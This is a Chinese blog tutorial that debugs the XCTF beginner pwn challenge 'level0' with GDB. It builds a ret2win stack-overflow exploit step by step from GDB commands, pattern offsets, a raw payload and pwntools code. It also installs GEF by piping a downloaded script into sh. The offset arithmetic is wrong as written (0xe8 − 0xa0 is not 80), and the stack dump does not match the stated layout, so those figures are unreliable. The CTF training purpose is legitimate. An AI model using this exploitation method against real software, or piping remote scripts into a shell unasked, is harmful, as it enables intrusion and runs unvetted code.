news 2026/6/7 11:24:38

别光看WriteUp了!手把手教你用GDB动态调试攻防世界PWN题(以level0为例)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别光看WriteUp了!手把手教你用GDB动态调试攻防世界PWN题(以level0为例)

别光看WriteUp了!手把手教你用GDB动态调试攻防世界PWN题(以level0为例)

在CTF竞赛中,PWN题往往是最能体现技术实力的环节。许多初学者习惯直接阅读现成的WriteUp,却忽略了动态调试这一核心技能。本文将以攻防世界新手区的经典题目level0为例,带你亲历从漏洞发现到利用的全过程,重点演示如何用GDB在运行时观察内存状态变化。

1. 环境准备与初步分析

首先下载题目提供的level0二进制文件,使用checksec检查防护机制:

checksec --file=level0

输出结果通常显示:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

关键信息:

  • NX enabled:栈不可执行,意味着不能直接注入shellcode
  • No canary:栈溢出时不会触发栈保护检测
  • No PIE:程序加载地址固定,便于计算偏移量

用IDA Pro快速静态分析,发现vulnerable_function中存在明显的栈溢出漏洞:

ssize_t vulnerable_function() { char buf[80]; // 0x50字节的缓冲区 return read(0, buf, 200); // 允许读取200字节 }

2. GDB调试基础配置

安装增强型GDB插件GEF(或Pwndbg),它们提供了更直观的内存显示功能:

wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh

启动调试环境:

gdb -q ./level0

在GDB中设置以下实用参数:

set disassembly-flavor intel # 使用Intel汇编语法 set follow-fork-mode child # 跟踪子进程 break *vulnerable_function # 在漏洞函数入口下断点

3. 关键断点设置与栈帧观察

运行程序并在关键位置设置断点:

break *vulnerable_function+25 # read函数调用前 break *vulnerable_function+30 # read函数返回后 commands 2 # 第二个断点的自动命令 x/40gx $rsp # 显示栈内容 info frame # 查看栈帧信息 continue end

当程序执行到read函数时,观察栈布局:

0x7fffffffe4a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4e0: 0x0000000000000000 0x00007fffffffe500

注意:

  • 缓冲区起始地址:0x7fffffffe4a0
  • 保存的RBP值:0x7fffffffe500
  • 返回地址位置:0x7fffffffe4e8

4. 构造payload与溢出验证

计算精确偏移量:

缓冲区地址:0x7fffffffe4a0 返回地址位置:0x7fffffffe4e8 偏移量 = 0xe8 - 0xa0 + 8 = 80 + 8 = 88字节

使用cyclic模式生成测试字符串:

pattern create 200

输入生成的字符串后,程序崩溃时观察寄存器:

Program received signal SIGSEGV, Segmentation fault. RIP: 0x6161616161616166

通过pattern offset计算:

pattern offset 0x6161616161616166 Exact match at offset 88

5. 动态跟踪执行流劫持

在IDA中确认后门函数地址:

void callsystem() { system("/bin/sh"); } // 地址:0x400596

构造payload并调试:

from pwn import * payload = b'A'*88 + p64(0x400596)

在GDB中实时验证:

run <<< $(python -c 'print "A"*88 + "\x96\x05\x40\x00\x00\x00\x00\x00"')

观察关键节点:

  1. read返回后栈数据变化
  2. 函数返回时RIP寄存器值变为0x400596
  3. 成功跳转到callsystem函数

6. 常见问题排错指南

Segmentation Fault可能原因:

  • 偏移量计算错误(需重新测量栈帧)
  • 地址未对齐(x64需16字节对齐)
  • 权限问题(检查NX是否影响)

GDB调试技巧:

# 查看内存映射 vmmap # 跟踪系统调用 catch syscall execve # 观察寄存器变化 telescope $rsp 20

EXP优化建议:

# 使用pwntools自动化 io = process('./level0') payload = flat({ 88: p64(0x400596) }) io.sendline(payload) io.interactive()

7. 拓展:其他调试场景应用

场景1:ASLR环境下调试

# 先泄漏地址 break *vulnerable_function continue info proc mappings # 计算实际偏移

场景2:有Canary保护时

# 在函数入口处记录Canary值 x/gx $rbp-0x8 # 构造payload时保持该值不变

场景3:ROP链构造验证

# 单步跟踪每个gadget stepi # 观察栈指针变化 print $rsp

掌握GDB动态调试技术后,面对复杂PWN题时不再需要盲目尝试。通过实时观察内存状态、验证漏洞假设,你能真正理解二进制漏洞的本质原理。记住,好的漏洞利用就像外科手术——精确计算每个字节的作用,这正是动态调试赋予我们的"X光透视"能力。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/7 11:24:02

企业级DNS与高可用代理架构规划与实施【20260607】001篇---数据流深度剖析:从DNS请求到页面渲染的完整链路追踪

文章目录 数据流深度剖析:从DNS请求到页面渲染的完整链路追踪 🔄 整体数据流概览 📝 第1步:DNS解析阶段 1.1 用户发起DNS查询 1.2 递归查询过程 1.3 Bind内部处理细节 📝 第2步:TCP连接建立阶段 2.1 TCP三次握手 2.2 Keepalived VIP工作原理 📝 第3步:HTTP请求处理…

作者头像 李华
网站建设 2026/6/7 11:21:16

3步搭建家庭游戏串流系统:用Sunshine让游戏无处不在

3步搭建家庭游戏串流系统&#xff1a;用Sunshine让游戏无处不在 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 您是否曾想过&#xff0c;能否在客厅的电视上流畅玩电脑游戏&#…

作者头像 李华
网站建设 2026/6/7 11:20:07

代码评审与合并冲突实战:新人必见的 Git 事故复盘

代码评审与合并冲突实战&#xff1a;新人必见的 Git 事故复盘一、引言痛点&#xff1a;Git 是协作的绊脚石吗 Git 是现代软件开发的标配工具&#xff0c;但对于新手来说&#xff0c;Git 常常成为协作中的噩梦。merge conflict、force push、detached HEAD、reset --hard 导致的…

作者头像 李华